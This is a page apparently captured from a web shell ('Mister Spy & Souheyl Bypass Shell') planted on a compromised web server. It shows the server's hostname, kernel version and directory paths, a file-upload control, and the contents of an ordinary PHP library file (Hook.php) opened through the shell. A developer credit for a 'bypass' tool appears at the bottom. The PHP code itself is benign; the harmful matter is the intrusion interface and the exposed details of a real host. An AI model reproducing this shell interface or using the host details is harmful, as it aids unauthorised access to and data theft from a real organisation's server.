Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/sirius-pallets/vendor/consolidation/annotated-command/src/Attributes/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/sirius-pallets/vendor/consolidation/annotated-command/src/Attributes/Hook.php

<?php

namespace Consolidation\AnnotatedCommand\Attributes;

use Attribute;
use Consolidation\AnnotatedCommand\Hooks\HookManager;
use Consolidation\AnnotatedCommand\Parser\CommandInfo;
use JetBrains\PhpStorm\ExpectedValues;

#[Attribute(Attribute::TARGET_METHOD)]
class Hook
{
    /**
     * @param $type
     *  When during the command lifecycle this hook will be called (e.g. validate).
     * @param $target
     *   Specifies which command(s) the hook will be attached to.
     * @param $selector
     *   A 'tag' that requests that a hook operate on the current command.
     */
    public function __construct(
        #[ExpectedValues(valuesFromClass: HookManager::class)] public string $type,
        public ?string $target = null,
        public ?string $selector = null
    ) {
    }

    public static function handle(\ReflectionAttribute $attribute, CommandInfo $commandInfo)
    {
        $instance = $attribute->newInstance();
        if ($instance->selector && $instance->target) {
            throw new \Exception('Selector and Target may not be sent in the same Hook attribute.');
        }
        $value = null;
        if ($instance->selector) {
            if (strpos($instance->selector, '@') !== false) {
                throw new \Exception('Selector may not contain an \'@\'');
            }
            $value = '@' . $instance->selector;
        } elseif ($instance->target) {
            $value = $instance->target;
        }
        $commandInfo->setName($value);
        $commandInfo->addAnnotation('hook', $instance->type . ' ' . $value);
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net